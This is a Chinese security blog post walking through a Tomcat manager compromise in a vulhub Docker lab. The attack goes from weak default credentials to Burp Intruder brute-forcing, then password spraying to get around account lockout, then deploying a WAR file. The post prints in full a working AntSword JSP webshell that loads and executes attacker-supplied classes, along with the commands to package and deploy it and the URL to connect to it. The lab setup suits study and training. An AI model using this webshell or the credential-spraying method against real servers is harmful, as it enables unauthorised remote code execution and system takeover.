freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

tomcat后台getshell
2023-03-17 22:21:18
所属地 上海

环境搭建

下载docker的地址:https://github.com/vulhub/vulhub/tree/master/tomcat/tomcat8

拉去镜像:docker-compose up -d
图片.png

漏洞复现

弱口令进入后台

确定能否访问8080端口http://192.168.183.136:8080/
图片.png
打开tomcat管理页面http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台:
图片.png
在生产环境中需要爆破,我们可以使用intruder模块
图片.png
用户名
图片.png
分隔符
图片.png
密码
图片.png
base64编码
图片.png
图片.png
成功爆破
图片.png
输入正确的账号密码后进入tomcat的后台管理页面
图片.png
上传war包即可直接getshell。

注意:在实际测试中,tomcat6/7/8+会针对登陆次数过多的用户进行锁定,经过统计分析,当登录错误>5次后,就会锁定用户。这时候我们就要考虑如何绕过。

CSDN上有个脚本利用的是占满tomcat缓存的方式绕过,当同一账号大于5次登录,就会采用脏数据去进行登录,直到缓存占满后,又会用剩下的可能存在的username进行登录。直到找到password为止。

tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制https://download.csdn.net/download/lwhat007/10164298

这里我们采用针对同一弱口令去爆破不同账号的方式进行猜解,将可能存在的username放入position1的位置,其次放置password在position3的位置,最后attack时爆破的顺序如下图,就不会针对同一账号锁定。这样做的好处在于我们针对同一个口令去爆破大量用户时,由于用户不同,不会被锁定,同时由于第二次使用这个账户爆破其他口令时,tomcat的缓存有很大几率被占满,就不会导致锁定。

原理就是 密码喷洒
图片.png

上传war包getshell

图片.png
使用中国蚁剑生成一个 jsp马,将其单独放置于一个目录下,进入该目录

vim shell.jsp

密码:ant

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("ant");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

将 shell.jsp 马打包成 war 包

jar -cvf login.war shell.jsp

image-20230317215542350
图片.png
或者使用 zip 压缩成 war 包

zip shell.war shell.jsp

进入登录界面,部署上传
图片.png
链接的地址是 /zip文件的前缀/文件名,比如我这里就是http://192.168.183.136:8080/shell/shell.jsp
图片.png
蚁剑连接
图片.png

清理环境

docker-compose down -v

参考链接

https://github.com/vulhub/vulhub/blob/master/tomcat/tomcat8/README.zh-cn.md

https://github.com/yzddmr6/JspForAntSword

https://mp.weixin.qq.com/s/VHYU0S5YMd-tm9VWCmMaCQ

https://mp.weixin.qq.com/s/gQM2SMx3QjuRbqnYXtDdYQ

欢迎关注公众号:进击的HACK
image

# 漏洞利用 # 漏洞复现
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录